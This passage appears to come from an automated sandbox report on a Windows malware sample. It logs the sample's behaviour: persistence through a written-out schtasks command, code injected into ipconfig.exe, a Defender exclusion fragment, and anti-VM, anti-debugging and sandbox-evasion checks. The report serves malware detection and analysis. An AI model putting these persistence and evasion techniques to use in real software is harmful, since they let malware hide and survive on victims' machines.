Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{8856F961-340A-11D0-A96B-00C04FD705A2}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe

File opened: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorrc.dll

Jump to behavior

Source: 08917506_by_Libranalysis.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9445_none_d08c58b4442ba54f\MSVCR80.dll

Jump to behavior

Source: 08917506_by_Libranalysis.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: ipconfig.pdb source: 08917506_by_Libranalysis.exe, 00000005.00000002.295591762.0000000003150000.00000040.00000001.sdmp
Source:	Binary string: ipconfig.pdbGCTL source: 08917506_by_Libranalysis.exe, 00000005.00000002.295591762.0000000003150000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: 08917506_by_Libranalysis.exe, 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, ipconfig.exe, 0000000F.00000002.495544603.0000000000D30000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: 08917506_by_Libranalysis.exe, ipconfig.exe
Source:	Binary string: mscorrc.pdb source: 08917506_by_Libranalysis.exe, 00000000.00000002.260684849.0000000009280000.00000002.00000001.sdmp

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 0_2_00FCB0BE push es; retf	0_2_00FCB4A3
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 0_2_00FCA8BA push es; retf	0_2_00FCB4A3
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 0_2_0311925D push ebx; retf	0_2_0311925E
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 0_2_03119260 push ebx; retf	0_2_03119262
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 0_2_03118709 push ebx; retf	0_2_0311870A
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 0_2_031177B0 push ebx; retf	0_2_031177B2
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 0_2_031177AD push ebx; retf	0_2_031177AE
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 0_2_03119C5D push ebx; retf	0_2_03119C5E
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 0_2_03119C60 push ebx; retf	0_2_03119C62
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0041C97B push esp; ret	5_2_0041C97C
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0041528B push ecx; retf	5_2_0041528D
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_004152B6 push eax; retf	5_2_004152B7
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0041B3F2 push eax; ret	5_2_0041B3F8
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0041B3FB push eax; ret	5_2_0041B462
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0041B3A5 push eax; ret	5_2_0041B3F8
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0041B45C push eax; ret	5_2_0041B462
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_00B2B0BE push es; retf	5_2_00B2B4A3
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_00B2A8D8 push es; retf	5_2_00B2B4A3
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015CD0D1 push ecx; ret	5_2_015CD0E4
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00DAD0D1 push ecx; ret	15_2_00DAD0E4
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_003CB8D0 push ebp; ret	15_2_003CB8D1
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_003CC97B push esp; ret	15_2_003CC97C
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_003C52B6 push eax; retf	15_2_003C52B7
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_003C528B push ecx; retf	15_2_003C528D
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_003CB3A5 push eax; ret	15_2_003CB3F8
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_003CB3FB push eax; ret	15_2_003CB462
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_003CB3F2 push eax; ret	15_2_003CB3F8
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_003CB45C push eax; ret	15_2_003CB462
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_003CBDD0 push cs; ret	15_2_003CBDD1

Source: initial sample	Static PE information: section name: .text entropy: 7.64331504129
Source: initial sample	Static PE information: section name: .text entropy: 7.64331504129

Persistence and Installation Behavior:

Uses ipconfig to lookup or modify the Windows network settings

Show sources

Source: C:\Windows\explorer.exe

Process created: C:\Windows\SysWOW64\ipconfig.exe C:\Windows\SysWOW64\ipconfig.exe

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe

File created: C:\Users\user\AppData\Roaming\OfCxSfBf.exe

Jump to dropped file

Boot Survival:

Uses schtasks.exe or at.exe to add and modify task schedules

Show sources

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe

Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\OfCxSfBf' /XML 'C:\Users\user\AppData\Local\Temp\tmpFA9B.tmp'

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Yara detected AntiVM3

Show sources

Source: Yara match	File source: 00000000.00000002.252118512.000000000369D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 08917506_by_Libranalysis.exe PID: 1144, type: MEMORY

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: 08917506_by_Libranalysis.exe, 00000000.00000002.252118512.000000000369D000.00000004.00000001.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.252118512.000000000369D000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	RDTSC instruction interceptor: First address: 00000000004085E4 second address: 00000000004085EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	RDTSC instruction interceptor: First address: 000000000040896E second address: 0000000000408974 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\ipconfig.exe	RDTSC instruction interceptor: First address: 00000000003B85E4 second address: 00000000003B85EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\ipconfig.exe	RDTSC instruction interceptor: First address: 00000000003B896E second address: 00000000003B8974 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe

File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Jump to behavior

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe

Code function: 5_2_004088A0 rdtsc

5_2_004088A0

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe TID: 5612	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe TID: 5640	Thread sleep time: -99936s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe TID: 5868	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5708	Thread sleep time: -55000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe TID: 7140	Thread sleep time: -42000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\ipconfig.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\ipconfig.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Thread delayed: delay time: 99936	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: explorer.exe, 00000007.00000000.277409479.0000000008A32000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00dRom0
Source: explorer.exe, 00000007.00000000.277409479.0000000008A32000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.258654930.0000000008C00000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.270380927.00000000059C0000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: explorer.exe, 00000007.00000000.277858693.0000000008B88000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.252118512.000000000369D000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: explorer.exe, 00000007.00000000.277858693.0000000008B88000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}e
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.252118512.000000000369D000.00000004.00000001.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.252118512.000000000369D000.00000004.00000001.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: explorer.exe, 00000007.00000000.267436007.00000000048E0000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.252118512.000000000369D000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II!Add-MpPreference -ExclusionPath "
Source: explorer.exe, 00000007.00000000.277780603.0000000008ACF000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000Datc
Source: explorer.exe, 00000007.00000000.277858693.0000000008B88000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}C
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.252118512.000000000369D000.00000004.00000001.sdmp	Binary or memory string: VMWARE
Source: explorer.exe, 00000007.00000000.277780603.0000000008ACF000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: explorer.exe, 00000007.00000000.273537437.00000000069DA000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD002
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.252118512.000000000369D000.00000004.00000001.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.258654930.0000000008C00000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.270380927.00000000059C0000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.258654930.0000000008C00000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.270380927.00000000059C0000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.252118512.000000000369D000.00000004.00000001.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.252118512.000000000369D000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.252118512.000000000369D000.00000004.00000001.sdmp	Binary or memory string: vmwareNSYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.258654930.0000000008C00000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.270380927.00000000059C0000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe

Code function: 5_2_004088A0 rdtsc

5_2_004088A0

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe

Code function: 5_2_00409B10 LdrLoadDll,

5_2_00409B10

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0159B944 mov eax, dword ptr fs:[00000030h]	5_2_0159B944
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0159B944 mov eax, dword ptr fs:[00000030h]	5_2_0159B944
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0157B171 mov eax, dword ptr fs:[00000030h]	5_2_0157B171
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0157B171 mov eax, dword ptr fs:[00000030h]	5_2_0157B171
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0157C962 mov eax, dword ptr fs:[00000030h]	5_2_0157C962
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01579100 mov eax, dword ptr fs:[00000030h]	5_2_01579100
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01579100 mov eax, dword ptr fs:[00000030h]	5_2_01579100
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01579100 mov eax, dword ptr fs:[00000030h]	5_2_01579100
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A513A mov eax, dword ptr fs:[00000030h]	5_2_015A513A
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A513A mov eax, dword ptr fs:[00000030h]	5_2_015A513A
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01594120 mov eax, dword ptr fs:[00000030h]	5_2_01594120
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01594120 mov eax, dword ptr fs:[00000030h]	5_2_01594120
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01594120 mov eax, dword ptr fs:[00000030h]	5_2_01594120
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01594120 mov eax, dword ptr fs:[00000030h]	5_2_01594120
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01594120 mov ecx, dword ptr fs:[00000030h]	5_2_01594120
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_016041E8 mov eax, dword ptr fs:[00000030h]	5_2_016041E8
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0157B1E1 mov eax, dword ptr fs:[00000030h]	5_2_0157B1E1
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0157B1E1 mov eax, dword ptr fs:[00000030h]	5_2_0157B1E1
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0157B1E1 mov eax, dword ptr fs:[00000030h]	5_2_0157B1E1
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_016349A4 mov eax, dword ptr fs:[00000030h]	5_2_016349A4
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_016349A4 mov eax, dword ptr fs:[00000030h]	5_2_016349A4
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_016349A4 mov eax, dword ptr fs:[00000030h]	5_2_016349A4
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_016349A4 mov eax, dword ptr fs:[00000030h]	5_2_016349A4
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A2990 mov eax, dword ptr fs:[00000030h]	5_2_015A2990
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0159C182 mov eax, dword ptr fs:[00000030h]	5_2_0159C182
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015AA185 mov eax, dword ptr fs:[00000030h]	5_2_015AA185
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015F51BE mov eax, dword ptr fs:[00000030h]	5_2_015F51BE
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015F51BE mov eax, dword ptr fs:[00000030h]	5_2_015F51BE
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015F51BE mov eax, dword ptr fs:[00000030h]	5_2_015F51BE
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015F51BE mov eax, dword ptr fs:[00000030h]	5_2_015F51BE
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015F69A6 mov eax, dword ptr fs:[00000030h]	5_2_015F69A6
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A61A0 mov eax, dword ptr fs:[00000030h]	5_2_015A61A0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A61A0 mov eax, dword ptr fs:[00000030h]	5_2_015A61A0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01590050 mov eax, dword ptr fs:[00000030h]	5_2_01590050
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01590050 mov eax, dword ptr fs:[00000030h]	5_2_01590050
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01632073 mov eax, dword ptr fs:[00000030h]	5_2_01632073
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01641074 mov eax, dword ptr fs:[00000030h]	5_2_01641074
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015F7016 mov eax, dword ptr fs:[00000030h]	5_2_015F7016
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015F7016 mov eax, dword ptr fs:[00000030h]	5_2_015F7016
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015F7016 mov eax, dword ptr fs:[00000030h]	5_2_015F7016
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01644015 mov eax, dword ptr fs:[00000030h]	5_2_01644015
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01644015 mov eax, dword ptr fs:[00000030h]	5_2_01644015
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0158B02A mov eax, dword ptr fs:[00000030h]	5_2_0158B02A
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0158B02A mov eax, dword ptr fs:[00000030h]	5_2_0158B02A
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0158B02A mov eax, dword ptr fs:[00000030h]	5_2_0158B02A
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0158B02A mov eax, dword ptr fs:[00000030h]	5_2_0158B02A
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A002D mov eax, dword ptr fs:[00000030h]	5_2_015A002D
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A002D mov eax, dword ptr fs:[00000030h]	5_2_015A002D
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A002D mov eax, dword ptr fs:[00000030h]	5_2_015A002D
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A002D mov eax, dword ptr fs:[00000030h]	5_2_015A002D
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A002D mov eax, dword ptr fs:[00000030h]	5_2_015A002D
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0160B8D0 mov eax, dword ptr fs:[00000030h]	5_2_0160B8D0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0160B8D0 mov ecx, dword ptr fs:[00000030h]	5_2_0160B8D0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0160B8D0 mov eax, dword ptr fs:[00000030h]	5_2_0160B8D0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0160B8D0 mov eax, dword ptr fs:[00000030h]	5_2_0160B8D0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0160B8D0 mov eax, dword ptr fs:[00000030h]	5_2_0160B8D0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0160B8D0 mov eax, dword ptr fs:[00000030h]	5_2_0160B8D0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015740E1 mov eax, dword ptr fs:[00000030h]	5_2_015740E1
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015740E1 mov eax, dword ptr fs:[00000030h]	5_2_015740E1
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015740E1 mov eax, dword ptr fs:[00000030h]	5_2_015740E1
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015758EC mov eax, dword ptr fs:[00000030h]	5_2_015758EC
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01579080 mov eax, dword ptr fs:[00000030h]	5_2_01579080
